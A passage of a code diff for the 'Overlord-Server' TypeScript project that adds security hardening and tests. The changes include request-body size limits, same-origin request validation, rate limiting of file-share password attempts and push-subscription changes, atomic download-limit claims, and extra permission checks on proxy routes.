+ event: "pong", + payload: { i }, + }); + } + expect(harness.forwarded).toHaveLength(MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE); + }); + + test("evicts old UI events before the per-key byte buffer can grow unbounded", () => { + const harness = createPluginEventHarness(); + harness.pluginLoadedByClient.set("client-a", new Set(["sample"])); + const payload = { text: "x".repeat(240 * 1024) }; + for (let i = 0; i < 40; i += 1) { + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "echo", + payload, + }); + } + + expect(harness.forwarded).toHaveLength(40); + const buffered = harness.handlers.drainPluginUIEvents("client-a", "sample"); + expect(buffered.length).toBeGreaterThan(0); + expect(buffered.length).toBeLessThan(40); + }); + + test("enforces per-key, per-client, and global buffered-byte ceilings", () => { + expect(hasPluginUIEventBufferCapacity( + MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY - 1, + 0, + 0, + 1, + )).toBe(true); + expect(hasPluginUIEventBufferCapacity( + MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY, + 0, + 0, + 1, + )).toBe(false); + expect(hasPluginUIEventBufferCapacity( + 0, + MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT, + 0, + 1, + )).toBe(false); + expect(hasPluginUIEventBufferCapacity( + 0, + 0, + MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL, + 1, + )).toBe(false); + }); +}); +*/ diff --git a/Overlord-Server/src/server/push-subscription-security.test.ts b/Overlord-Server/src/server/push-subscription-security.test.ts new file mode 100644 index 0000000..c2efbe4 --- /dev/null +++ b/Overlord-Server/src/server/push-subscription-security.test.ts @@ -0,0 +1,152 @@ +import { afterEach, describe, expect, test } from "bun:test"; +import { + deletePushSubscriptionsByUser, + getAllPushSubscriptions, + getPushSubscriptionsByUser, + savePushSubscription, +} from "../db"; +import { db } from "../db/connection"; +import { + clearRequestRateLimitsForTests, + consumePushSubscriptionMutationRateLimit, +} from "../rateLimit"; +import { settleInBoundedBatches } from "./notification-delivery"; + +const testUserIds = new Set(); +let nextTestUserId = 1_500_000_000 + Math.floor(Math.random() * 100_000_000); + +afterEach(() => { + for (const userId of testUserIds) deletePushSubscriptionsByUser(userId); + testUserIds.clear(); + clearRequestRateLimitsForTests(); +}); + +function uniqueUserId(): number { + const id = nextTestUserId++; + testUserIds.add(id); + return id; +} + +describe("Web Push subscription abuse controls", () => { + test("transactionally caps storage, evicts only the owner's oldest entry, and prevents endpoint takeover", () => { + const userA = uniqueUserId(); + const userB = uniqueUserId(); + const prefix = `push-security-${Date.now()}-${Math.random().toString(16).slice(2)}`; + const endpoint = (name: string) => `https://push.example.test/${prefix}/${name}`; + const baseline = Number( + db.query<{ count: number }>("SELECT COUNT(*) AS count FROM push_subscriptions").get()?.count ?? 0, + ); + const limits = { perUser: 2, global: baseline + 3 }; + + expect(savePushSubscription(userA, endpoint("a1"), "key-a1", "auth-a1", limits)).toEqual({ + ok: true, + action: "created", + }); + expect(savePushSubscription(userA, endpoint("a2"), "key-a2", "auth-a2", limits).ok).toBe(true); + + const replacement = savePushSubscription( + userA, + endpoint("a3"), + "key-a3", + "auth-a3", + limits, + ); + expect(replacement).toEqual({ + ok: true, + action: "created", + evictedEndpoint: endpoint("a1"), + }); + expect(getPushSubscriptionsByUser(userA).map((sub) => sub.endpoint).sort()).toEqual( + [endpoint("a2"), endpoint("a3")].sort(), + ); + + expect(savePushSubscription(userB, endpoint("a2"), "stolen", "stolen", limits)).toEqual({ + ok: false, + reason: "endpoint_conflict", + }); + expect(savePushSubscription(userB, endpoint("b1"), "key-b1", "auth-b1", limits).ok).toBe(true); + expect(savePushSubscription(userB, endpoint("b2"), "key-b2", "auth-b2", limits)).toEqual({ + ok: false, + reason: "global_limit", + limit: baseline + 3, + }); + + // Refreshing an endpoint already owned by this user remains possible at + // the global cap and does not create another row. + expect(savePushSubscription(userA, endpoint("a2"), "new-key", "new-auth", limits)).toEqual({ + ok: true, + action: "updated", + }); + expect(getPushSubscriptionsByUser(userA).find((sub) => sub.endpoint === endpoint("a2"))?.p256dh) + .toBe("new-key"); + expect(getAllPushSubscriptions(2)).toHaveLength(2); + expect(getAllPushSubscriptions(0)).toEqual([]); + }); + + test("rate-limits subscribe and unsubscribe mutations per authenticated user", () => { + const previous = { + max: process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX, + window: process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS, + lockout: process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS, + }; + process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX = "2"; + process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS = "10"; + process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS = "10"; + clearRequestRateLimitsForTests(); + + try { + expect(consumePushSubscriptionMutationRateLimit(42).limited).toBe(false); + expect(consumePushSubscriptionMutationRateLimit(42).limited).toBe(false); + const blocked = consumePushSubscriptionMutationRateLimit(42); + expect(blocked.limited).toBe(true); + expect(blocked.retryAfter).toBeGreaterThan(0); + expect(consumePushSubscriptionMutationRateLimit(43).limited).toBe(false); + } finally { + if (previous.max === undefined) delete process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX; + else process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_MAX = previous.max; + if (previous.window === undefined) delete process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS; + else process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_WINDOW_SECONDS = previous.window; + if (previous.lockout === undefined) delete process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS; + else process.env.OVERLORD_PUSH_SUBSCRIPTION_RATE_LIMIT_LOCKOUT_SECONDS = previous.lockout; + } + }); + + test("settles delivery in bounded batches without aborting after a failure", async () => { + const items = Array.from({ length: 11 }, (_, index) => index); + let active = 0; + let maxActive = 0; + let firstBatchCompleted = 0; + let completedWhenSecondBatchStarted = -1; + const attempted: number[] = []; + const errors: number[] = []; + + await settleInBoundedBatches( + items, + async (item) => { + if (item === 4 && completedWhenSecondBatchStarted < 0) { + completedWhenSecondBatchStarted = firstBatchCompleted; + } + attempted.push(item); + active += 1; + maxActive = Math.max(maxActive, active); + try { + await new Promise((resolve) => setTimeout(resolve, 2)); + } finally { + active -= 1; + if (item < 4) firstBatchCompleted += 1; + } + if (item === 6) throw new Error("expected delivery failure"); + }, + { + concurrency: 3, + batchSize: 4, + onError: (_error, item) => errors.push(item), + }, + ); + + expect(attempted.sort((a, b) => a - b)).toEqual(items); + expect(maxActive).toBeLessThanOrEqual(3); + expect(completedWhenSecondBatchStarted).toBe(4); + expect(errors).toEqual([6]); + }); +}); diff --git a/Overlord-Server/src/server/request-body.test.ts b/Overlord-Server/src/server/request-body.test.ts new file mode 100644 index 0000000..306a502 --- /dev/null +++ b/Overlord-Server/src/server/request-body.test.ts @@ -0,0 +1,27 @@ +import { describe, expect, test } from "bun:test"; +import { readJsonBodyLimited, RequestBodyTooLargeError } from "./request-body"; + +describe("readJsonBodyLimited", () => { + test("parses a bounded JSON request", async () => { + const request = new Request("https://localhost/api/login", { + method: "POST", + body: JSON.stringify({ user: "alice" }), + }); + expect(await readJsonBodyLimited(request, 1_024)).toEqual({ user: "alice" }); + }); + + test("rejects declared and streamed bodies over the limit", async () => { + const declared = new Request("https://localhost/api/login", { + method: "POST", + headers: { "Content-Length": "100" }, + body: "{}", + }); + await expect(readJsonBodyLimited(declared, 10)).rejects.toBeInstanceOf(RequestBodyTooLargeError); + + const streamed = new Request("https://localhost/api/login", { + method: "POST", + body: "x".repeat(100), + }); + await expect(readJsonBodyLimited(streamed, 10)).rejects.toBeInstanceOf(RequestBodyTooLargeError); + }); +}); diff --git a/Overlord-Server/src/server/request-body.ts b/Overlord-Server/src/server/request-body.ts new file mode 100644 index 0000000..4bffda7 --- /dev/null +++ b/Overlord-Server/src/server/request-body.ts @@ -0,0 +1,42 @@ +export class RequestBodyTooLargeError extends Error { + constructor(readonly maxBytes: number) { + super(`Request body exceeds ${maxBytes} byte limit`); + this.name = "RequestBodyTooLargeError"; + } +} + +export async function readBodyLimited(req: Request, maxBytes: number): Promise> { + const declaredLength = Number(req.headers.get("content-length") || 0); + if (Number.isFinite(declaredLength) && declaredLength > maxBytes) { + throw new RequestBodyTooLargeError(maxBytes); + } + + const reader = req.body?.getReader(); + if (!reader) return new Uint8Array(); + const chunks: Uint8Array[] = []; + let total = 0; + while (true) { + const { done, value } = await reader.read(); + if (done) break; + if (!value) continue; + total += value.byteLength; + if (total > maxBytes) { + try { await reader.cancel(); } catch {} + throw new RequestBodyTooLargeError(maxBytes); + } + chunks.push(value); + } + + const bytes = new Uint8Array(total); + let offset = 0; + for (const chunk of chunks) { + bytes.set(chunk, offset); + offset += chunk.byteLength; + } + return bytes; +} + +export async function readJsonBodyLimited(req: Request, maxBytes: number): Promise { + const bytes = await readBodyLimited(req, maxBytes); + return JSON.parse(new TextDecoder().decode(bytes)); +} diff --git a/Overlord-Server/src/server/request-origin.test.ts b/Overlord-Server/src/server/request-origin.test.ts new file mode 100644 index 0000000..58e8310 --- /dev/null +++ b/Overlord-Server/src/server/request-origin.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, test } from "bun:test"; +import { isSameOriginBrowserRequest } from "./request-origin"; + +describe("browser request origin validation", () => { + const url = new URL("https://overlord.example.com/api/dashboard/ws"); + + test("accepts the exact origin", () => { + const req = new Request(url, { + headers: { Origin: "https://overlord.example.com", "Sec-Fetch-Site": "same-origin" }, + }); + expect(isSameOriginBrowserRequest(req, url, { requireOrigin: true })).toBe(true); + }); + + test("rejects sibling, null, malformed, and missing viewer origins", () => { + for (const origin of ["https://evil.example.com", "null", "not a url"]) { + const req = new Request(url, { headers: { Origin: origin } }); + expect(isSameOriginBrowserRequest(req, url, { requireOrigin: true })).toBe(false); + } + expect(isSameOriginBrowserRequest(new Request(url), url, { requireOrigin: true })).toBe(false); + }); + + test("rejects browser-declared same-site requests even without Origin", () => { + const req = new Request(url, { headers: { "Sec-Fetch-Site": "same-site" } }); + expect(isSameOriginBrowserRequest(req, url)).toBe(false); + }); +}); diff --git a/Overlord-Server/src/server/request-origin.ts b/Overlord-Server/src/server/request-origin.ts new file mode 100644 index 0000000..91b62ba --- /dev/null +++ b/Overlord-Server/src/server/request-origin.ts @@ -0,0 +1,50 @@ +const UNSAFE_METHODS = new Set(["POST", "PUT", "PATCH", "DELETE"]); + +function configuredPublicOrigin(): string | null { + const raw = String(process.env.OVERLORD_PUBLIC_ORIGIN || "").trim(); + if (!raw) return null; + try { + const parsed = new URL(raw); + if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null; + return parsed.origin; + } catch { + return null; + } +} + +export function expectedRequestOrigin(url: URL): string { + const configured = configuredPublicOrigin(); + if (configured) return configured; + const tlsOffload = ["1", "true", "yes", "on"].includes( + String(process.env.OVERLORD_TLS_OFFLOAD || "").trim().toLowerCase(), + ); + const protocol = tlsOffload ? "https:" : url.protocol; + return `${protocol}//${url.host}`; +} + +export function isSameOriginBrowserRequest( + req: Request, + url: URL, + options: { requireOrigin?: boolean } = {}, +): boolean { + const fetchSite = (req.headers.get("sec-fetch-site") || "").trim().toLowerCase(); + if (fetchSite === "cross-site" || fetchSite === "same-site") return false; + + const rawOrigin = req.headers.get("origin"); + if (!rawOrigin) { + return !options.requireOrigin && (fetchSite === "" || fetchSite === "none" || fetchSite === "same-origin"); + } + if (rawOrigin === "null") return false; + + try { + return new URL(rawOrigin).origin === expectedRequestOrigin(url); + } catch { + return false; + } +} + +export function rejectUnsafeCrossOriginRequest(req: Request, url: URL): Response | null { + if (!UNSAFE_METHODS.has(req.method.toUpperCase())) return null; + if (isSameOriginBrowserRequest(req, url)) return null; + return new Response("Forbidden: cross-origin request rejected", { status: 403 }); +} diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts index d4c6776..3fd765b 100644 --- a/Overlord-Server/src/server/routes/auth-routes.ts +++ b/Overlord-Server/src/server/routes/auth-routes.ts @@ -42,6 +42,9 @@ import { } from "../../users"; import { getUserPermissions, requirePermission } from "../../rbac"; import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie"; +import { readJsonBodyLimited, RequestBodyTooLargeError } from "../request-body"; + +const LOGIN_BODY_MAX_BYTES = 16 * 1024; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -86,11 +89,16 @@ export async function handleAuthRoutes( } try { - const body = await req.json(); - const username = body?.user || ""; - const password = body?.pass || ""; + const body = await readJsonBodyLimited(req, LOGIN_BODY_MAX_BYTES); + const username = typeof body?.user === "string" ? body.user : ""; + const password = typeof body?.pass === "string" ? body.pass : ""; const mfaCode = typeof body?.mfaCode === "string" ? body.mfaCode : ""; + if (username.length > 256 || password.length > 1_024 || mfaCode.length > 32) { + recordFailedAttempt(ip); + return Response.json({ ok: false, error: "Invalid credentials" }, { status: 401 }); + } + const user = await authenticateUser(username, password); if (user) { @@ -177,6 +185,9 @@ export async function handleAuthRoutes( errorMessage: "Invalid credentials", }); } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ ok: false, error: "Request body too large" }, { status: 413 }); + } logger.error("[auth] Login error:", error); logAudit({ timestamp: Date.now(), diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 95bf81b..d0f6ff5 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -309,7 +309,12 @@ export async function handleClientRoutes( return Response.json({ ok: false, disabled: true }, { headers: deps.CORS_HEADERS }); } const { requestThumbnailRegen, markThumbnailRequested, getThumbnailVersion, waitForThumbnail, clearThumbnailRequest } = await import("../../thumbnails"); - markThumbnailRequested(clientId); + if (!markThumbnailRequested(clientId)) { + return Response.json( + { ok: false, error: "thumbnail request capacity exceeded" }, + { status: 429, headers: deps.CORS_HEADERS }, + ); + } const target = clientManager.getClient(clientId); const beforeVersion = getThumbnailVersion(clientId); if (target?.online) { diff --git a/Overlord-Server/src/server/routes/file-share-routes.security.test.ts b/Overlord-Server/src/server/routes/file-share-routes.security.test.ts new file mode 100644 index 0000000..004aae8 --- /dev/null +++ b/Overlord-Server/src/server/routes/file-share-routes.security.test.ts @@ -0,0 +1,139 @@ +import { afterEach, describe, expect, test } from "bun:test"; +import { + claimSharedFileDownload, + deleteSharedFile, + getSharedFile, + insertSharedFile, +} from "../../db"; +import { + clearFileSharePasswordAttempts, + consumeFileSharePasswordAttempt, + FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS, + FILE_SHARE_PASSWORD_MAX_ATTEMPTS, + handleFileShareRoutes, +} from "./file-share-routes"; + +const createdFileIds: string[] = []; + +function insertTestFile(options: { + maxDownloads?: number | null; + expiresAt?: number | null; + passwordHash?: string | null; +} = {}): string { + const id = `file-share-security-${crypto.randomUUID()}`; + insertSharedFile({ + id, + filename: "payload.txt", + storedPath: `${process.env.TEMP || "."}/${id}/payload.txt`, + size: 7, + mimeType: "text/plain", + uploadedBy: 0, + uploadedByUsername: "test", + passwordHash: options.passwordHash ?? null, + maxDownloads: options.maxDownloads ?? null, + downloadCount: 0, + expiresAt: options.expiresAt ?? null, + createdAt: Date.now(), + description: null, + }); + createdFileIds.push(id); + return id; +} + +afterEach(() => { + delete process.env.OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY; + while (createdFileIds.length > 0) { + const id = createdFileIds.pop(); + if (id) deleteSharedFile(id); + } +}); + +describe("file-share public download security", () => { + test("password verification attempts are bounded per peer and file", () => { + const now = 1_000_000; + const key = `203.0.113.10:${crypto.randomUUID()}`; + const otherKey = `203.0.113.10:${crypto.randomUUID()}`; + try { + for (let i = 0; i < FILE_SHARE_PASSWORD_MAX_ATTEMPTS; i += 1) { + expect(consumeFileSharePasswordAttempt(key, now).limited).toBe(false); + } + const limited = consumeFileSharePasswordAttempt(key, now); + expect(limited.limited).toBe(true); + expect(limited.retryAfter).toBe(FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS / 1000); + expect(consumeFileSharePasswordAttempt(otherKey, now).limited).toBe(false); + expect( + consumeFileSharePasswordAttempt(key, now + FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS).limited, + ).toBe(false); + } finally { + clearFileSharePasswordAttempts(key); + clearFileSharePasswordAttempts(otherKey); + } + }); + + test("route rate-limits against the trusted peer address before password verification", async () => { + const hash = await Bun.password.hash("correct horse battery staple", { + algorithm: "bcrypt", + cost: 4, + }); + const id = insertTestFile({ passwordHash: hash }); + const ip = "198.51.100.44"; + const key = `${ip}:${id}`; + for (let i = 0; i < FILE_SHARE_PASSWORD_MAX_ATTEMPTS; i += 1) { + consumeFileSharePasswordAttempt(key); + } + + try { + const url = new URL(`https://localhost/api/file-share/${id}/download`); + const response = await handleFileShareRoutes( + new Request(url, { headers: { "X-Download-Password": "wrong" } }), + url, + { + FILE_SHARE_ROOT: process.env.TEMP || ".", + requestIP: () => ({ address: ip }), + }, + ); + expect(response?.status).toBe(429); + expect(Number(response?.headers.get("Retry-After"))).toBeGreaterThan(0); + } finally { + clearFileSharePasswordAttempts(key); + } + }); + + test("supports legacy password query links unless explicitly disabled", async () => { + const hash = await Bun.password.hash("correct horse battery staple", { + algorithm: "bcrypt", + cost: 4, + }); + const id = insertTestFile({ passwordHash: hash }); + const url = new URL( + `https://localhost/api/file-share/${id}/download?password=wrong`, + ); + const deps = { + FILE_SHARE_ROOT: process.env.TEMP || ".", + requestIP: () => ({ address: "198.51.100.45" }), + }; + + const legacy = await handleFileShareRoutes(new Request(url), url, deps); + expect(legacy?.status).toBe(403); + + process.env.OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY = "false"; + const rejected = await handleFileShareRoutes(new Request(url), url, deps); + expect(rejected?.status).toBe(400); + expect(await rejected?.json()).toEqual({ + error: "Password query parameters are disabled; use X-Download-Password", + }); + }); + + test("atomically refuses downloads beyond the configured maximum", () => { + const id = insertTestFile({ maxDownloads: 1 }); + expect(claimSharedFileDownload(id)).toBe(true); + expect(claimSharedFileDownload(id)).toBe(false); + expect(getSharedFile(id)?.downloadCount).toBe(1); + }); + + test("does not claim an expired download", () => { + const id = insertTestFile({ expiresAt: Date.now() - 1 }); + expect(claimSharedFileDownload(id)).toBe(false); + expect(getSharedFile(id)?.downloadCount).toBe(0); + }); +}); diff --git a/Overlord-Server/src/server/routes/file-share-routes.ts b/Overlord-Server/src/server/routes/file-share-routes.ts index ac9e488..3ebf250 100644 --- a/Overlord-Server/src/server/routes/file-share-routes.ts +++ b/Overlord-Server/src/server/routes/file-share-routes.ts @@ -10,7 +10,7 @@ import { insertSharedFile, deleteSharedFile, updateSharedFile, - incrementSharedFileDownloadCount, + claimSharedFileDownload, } from "../../db"; import { getUserById } from "../../users"; import { checkPermission, requirePermission } from "../../rbac"; @@ -18,8 +18,79 @@ import { resolveContainedPath, sanitizeUploadFilename } from "../upload-security type FileShareRouteDeps = { FILE_SHARE_ROOT: string; + /** Must be the server's trusted-proxy-aware peer address resolver. */ + requestIP?: (req: Request) => { address?: string } | null | undefined; }; +export const FILE_SHARE_PASSWORD_MAX_ATTEMPTS = 10; +export const FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS = 15 * 60 * 1000; +const FILE_SHARE_PASSWORD_LIMIT_MAX_KEYS = 10_000; +const FILE_SHARE_PASSWORD_MAX_CHARS = 1_024; +const FILE_SHARE_PASSWORD_PRUNE_INTERVAL_MS = 60_000; + +function allowLegacyPasswordQuery(): boolean { + const setting = String(process.env.OVERLORD_ALLOW_FILE_SHARE_PASSWORD_QUERY || "").trim(); + return !/^(?:0|false|no|off)$/i.test(setting); +} + +type FileSharePasswordAttempts = { + attempts: number; + expiresAt: number; +}; + +const fileSharePasswordAttempts = new Map(); +let lastFileSharePasswordPrune = 0; + +function pruneFileSharePasswordAttempts(now: number): void { + if ( + fileSharePasswordAttempts.size < FILE_SHARE_PASSWORD_LIMIT_MAX_KEYS + && now - lastFileSharePasswordPrune < FILE_SHARE_PASSWORD_PRUNE_INTERVAL_MS + ) { + return; + } + lastFileSharePasswordPrune = now; + for (const [key, state] of fileSharePasswordAttempts) { + if (state.expiresAt <= now) fileSharePasswordAttempts.delete(key); + } + while (fileSharePasswordAttempts.size >= FILE_SHARE_PASSWORD_LIMIT_MAX_KEYS) { + const oldestKey = fileSharePasswordAttempts.keys().next().value; + if (typeof oldestKey !== "string") break; + fileSharePasswordAttempts.delete(oldestKey); + } +} + +/** Reserves one expensive password verification before bcrypt is invoked. */ +export function consumeFileSharePasswordAttempt( + key: string, + now = Date.now(), +): { limited: boolean; retryAfter: number } { + let state = fileSharePasswordAttempts.get(key); + if (state && state.expiresAt <= now) { + fileSharePasswordAttempts.delete(key); + state = undefined; + } + if (state && state.attempts >= FILE_SHARE_PASSWORD_MAX_ATTEMPTS) { + return { + limited: true, + retryAfter: Math.max(1, Math.ceil((state.expiresAt - now) / 1000)), + }; + } + if (!state) { + pruneFileSharePasswordAttempts(now); + fileSharePasswordAttempts.set(key, { + attempts: 1, + expiresAt: now + FILE_SHARE_PASSWORD_ATTEMPT_WINDOW_MS, + }); + } else { + state.attempts += 1; + } + return { limited: false, retryAfter: 0 }; +} + +export function clearFileSharePasswordAttempts(key: string): void { + fileSharePasswordAttempts.delete(key); +} + function guessMimeType(filename: string): string { const ext = path.extname(filename).toLowerCase(); const map: Record = { @@ -110,14 +181,36 @@ export async function handleFileShareRoutes( } if (file.passwordHash) { - const providedPassword = req.headers.get("X-Download-Password") || url.searchParams.get("password") || ""; + const headerPassword = req.headers.get("X-Download-Password") || ""; + const queryPassword = url.searchParams.get("password") || ""; + if (!headerPassword && queryPassword && !allowLegacyPasswordQuery()) { + return Response.json( + { error: "Password query parameters are disabled; use X-Download-Password" }, + { status: 400 }, + ); + } + const providedPassword = headerPassword || (allowLegacyPasswordQuery() ? queryPassword : ""); if (!providedPassword) { return Response.json({ error: "Password required" }, { status: 401 }); } + + const peerAddress = deps.requestIP?.(req)?.address?.trim() || "unknown"; + const passwordAttemptKey = `${peerAddress.slice(0, 128)}:${file.id}`; + const limit = consumeFileSharePasswordAttempt(passwordAttemptKey); + if (limit.limited) { + return Response.json( + { error: "Too many password attempts. Try again later." }, + { status: 429, headers: { "Retry-After": String(limit.retryAfter) } }, + ); + } + if (providedPassword.length > FILE_SHARE_PASSWORD_MAX_CHARS) { + return Response.json({ error: "Invalid password" }, { status: 403 }); + } const valid = await Bun.password.verify(providedPassword, file.passwordHash); if (!valid) { return Response.json({ error: "Invalid password" }, { status: 403 }); } + clearFileSharePasswordAttempts(passwordAttemptKey); } const diskFile = Bun.file(file.storedPath); @@ -125,7 +218,16 @@ export async function handleFileShareRoutes( return Response.json({ error: "File not found on disk" }, { status: 404 }); } - incrementSharedFileDownloadCount(file.id); + if (!claimSharedFileDownload(file.id)) { + const current = getSharedFile(file.id); + if (!current) { + return Response.json({ error: "File not found" }, { status: 404 }); + } + if (current.expiresAt && current.expiresAt < Date.now()) { + return Response.json({ error: "File has expired" }, { status: 410 }); + } + return Response.json({ error: "Download limit reached" }, { status: 410 }); + } const sanitizedFilename = file.filename.replace(/[^\w.\-() ]/g, "_"); @@ -134,6 +236,11 @@ export async function handleFileShareRoutes( "Content-Type": file.mimeType || "application/octet-stream", "Content-Disposition": `attachment; filename="${sanitizedFilename}"`, "Content-Length": String(file.size), + "Content-Security-Policy": "sandbox; default-src 'none'", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "Referrer-Policy": "no-referrer", + "Cache-Control": "private, no-store", }, }); } diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index cf2e5ea..f4d8437 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -979,6 +979,12 @@ export async function handleMiscRoutes( if (user.role === "viewer") { return new Response("Forbidden", { status: 403 }); } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } const proxies = getActiveProxies().filter((p) => canUserAccessClient(user.userId, user.role, p.clientId), ); @@ -993,6 +999,12 @@ export async function handleMiscRoutes( if (user.role === "viewer") { return new Response("Forbidden", { status: 403 }); } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } let body: any = {}; try { body = await req.json(); @@ -1034,6 +1046,12 @@ export async function handleMiscRoutes( if (user.role === "viewer") { return new Response("Forbidden", { status: 403 }); } + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } let body: any = {}; try { body = await req.json(); diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.security.test.ts b/Overlord-Server/src/server/routes/notifications-config-routes.security.test.ts new file mode 100644 index 0000000..8a47dd5 --- /dev/null +++ b/Overlord-Server/src/server/routes/notifications-config-routes.security.test.ts @@ -0,0 +1,129 @@ +import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { generateToken } from "../../auth"; +import { + createUser, + deleteUser, + getUserById, + getUserNotificationSettings, +} from "../../users"; +import { handleNotificationsConfigRoutes } from "./notifications-config-routes"; + +let adminUserId = 0; +let adminToken = ""; + +const server = { + requestIP: () => ({ address: "127.0.0.1" }), +}; + +const deps = { + getNotificationScreenshot: () => null, + secureHeaders: () => ({}), +}; + +beforeAll(async () => { + const suffix = `${Date.now().toString(36)}${Math.random().toString(36).slice(2, 8)}`; + const created = await createUser( + `nsa_${suffix}`, + "Aa1!NotificationsSecurityPass_2026", + "admin", + "test", + ); + expect(created.success).toBe(true); + adminUserId = created.userId!; + adminToken = await generateToken(getUserById(adminUserId)!); +}); + +afterAll(() => { + if (adminUserId) deleteUser(adminUserId); +}); + +function authenticatedJsonRequest( + url: URL, + method: string, + body: string, + declaredLength?: number, +): Request { + const headers: Record = { + Authorization: `Bearer ${adminToken}`, + "Content-Type": "application/json", + }; + if (declaredLength !== undefined) headers["Content-Length"] = String(declaredLength); + return new Request(url, { method, headers, body }); +} + +describe("notification configuration request limits", () => { + test("rejects oversized bodies at every authenticated mutation endpoint", async () => { + const cases = [ + { path: "/api/notifications/config", method: "PUT", bytes: 128 * 1024 + 1 }, + { path: "/api/notifications/my-settings", method: "PUT", bytes: 64 * 1024 + 1 }, + { path: "/api/notifications/my-settings/preview/webhook", method: "POST", bytes: 32 * 1024 + 1 }, + { path: "/api/notifications/push-subscribe", method: "POST", bytes: 16 * 1024 + 1 }, + { path: "/api/notifications/push-subscribe", method: "DELETE", bytes: 16 * 1024 + 1 }, + ]; + + for (const entry of cases) { + const url = new URL(`https://localhost${entry.path}`); + const response = await handleNotificationsConfigRoutes( + authenticatedJsonRequest(url, entry.method, "{}", entry.bytes), + url, + server, + deps, + ); + expect(response?.status).toBe(413); + expect(await response!.json()).toEqual({ error: "Request body too large" }); + } + }); + + test("rejects oversized global Telegram credentials before persisting them", async () => { + for (const body of [ + { telegramBotToken: "t".repeat(513) }, + { telegramChatId: "c".repeat(257) }, + ]) { + const url = new URL("https://localhost/api/notifications/config"); + const response = await handleNotificationsConfigRoutes( + authenticatedJsonRequest(url, "PUT", JSON.stringify(body)), + url, + server, + deps, + ); + expect(response?.status).toBe(400); + expect((await response!.json()).error).toContain("too long"); + } + }); + + test("accepts per-user Telegram credentials at the limit and rejects larger replacements", async () => { + const url = new URL("https://localhost/api/notifications/my-settings"); + const token = "t".repeat(512); + const chatId = "c".repeat(256); + const accepted = await handleNotificationsConfigRoutes( + authenticatedJsonRequest( + url, + "PUT", + JSON.stringify({ telegram_bot_token: token, telegram_chat_id: chatId }), + ), + url, + server, + deps, + ); + expect(accepted?.status).toBe(200); + expect(getUserNotificationSettings(adminUserId)?.telegram_bot_token).toBe(token); + expect(getUserNotificationSettings(adminUserId)?.telegram_chat_id).toBe(chatId); + + for (const body of [ + { telegram_bot_token: `${token}x` }, + { telegram_chat_id: `${chatId}x` }, + ]) { + const rejected = await handleNotificationsConfigRoutes( + authenticatedJsonRequest(url, "PUT", JSON.stringify(body)), + url, + server, + deps, + ); + expect(rejected?.status).toBe(400); + expect((await rejected!.json()).error).toContain("too long"); + } + + expect(getUserNotificationSettings(adminUserId)?.telegram_bot_token).toBe(token); + expect(getUserNotificationSettings(adminUserId)?.telegram_chat_id).toBe(chatId); + }); +}); diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts index 8cec72f..457a2f7 100644 --- a/Overlord-Server/src/server/routes/notifications-config-routes.ts +++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts @@ -2,7 +2,7 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, logAudit } from "../../auditLog"; import * as clientManager from "../../clientManager"; import { getConfig, updateNotificationsConfig } from "../../config"; -import { savePushSubscription, deletePushSubscriptionForUser, getPushSubscriptionsByUser } from "../../db"; +import { savePushSubscription, deletePushSubscriptionForUser } from "../../db"; import { encodeMessage } from "../../protocol"; import { canUserAccessClient, @@ -10,13 +10,33 @@ import { updateUserNotificationSettings, } from "../../users"; import { requirePermission } from "../../rbac"; +import { consumePushSubscriptionMutationRateLimit } from "../../rateLimit"; import { DEFAULT_WEBHOOK_TEMPLATE, DEFAULT_TELEGRAM_TEMPLATE, - 